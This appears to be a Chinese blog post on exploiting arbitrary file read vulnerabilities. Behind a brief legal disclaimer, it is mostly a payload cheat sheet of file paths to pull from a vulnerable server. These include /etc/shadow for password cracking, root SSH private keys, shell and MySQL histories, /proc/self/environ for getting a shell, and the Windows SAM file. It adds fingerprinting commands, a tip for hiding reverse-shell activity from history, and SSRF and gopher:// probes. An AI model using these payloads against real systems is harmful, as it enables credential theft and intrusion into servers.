任意文件读取的深度利用
2022-05-20 本文已影响0人
migrate_
遵纪守法
任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益
任意文件读取的利用思路
有些文件需要高权限才能读取
/etc/passwd # 用户情况
/etc/shadow # 直接 John the Ripper
/etc/hosts # 主机信息
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
/var/lib/php/sess_PHPSESSID # 非常规问题 session 文件( 参考 平安科技的一道session包含 http://www.jianshu.com/p/2c24ea34566b)
# 网络信息
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/sched_debug # 提供cpu上正在运行的进程信息，可以获得进程的pid号，可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表，可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息，可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors，某写情况可以读取到进程正在使用的文件，比如access.log
进一步推断系统版本
uname -a
lsb_release -d
cat /etc/issue
cat /proc/version
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/cpuinfo
无痕反弹shell
kill -9 $$
常用默认路径整理
可以开虚拟机看看默认路径是什么
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
Nginx
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf
Apache
/home/httpd/
/home/httpd/www/
jetty
/usr/local/services/jetty-8.1.16/
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
resin
/usr/local/services/resin-4.0.44/
/usr/local/services/resin-4.0.44/conf/resin.xml
/usr/local/services/resin-4.0.44/conf/resin.properties
tomcat
/usr/local/services/apache-tomcat-8.0.23/logs
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out
svn
/home/svnroot/
常用的
# system proc
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
# ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
# network
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
# application
/opt/nginx/conf/nginx.conf
/var/www/html/index.html
/root/.mysql_history
/root/.wget-hsts
/etc/my.cnf
# common
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history
/root/.ssh/authorized_keys
/root/.mysql_history
/root/.wget-hsts
/var/www/html/index.html
# protocol
file:///etc/passwd
gopher:///etc/passwd
ftp://
# SSRF 内网探测
url=http://10.29.5.24
# Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
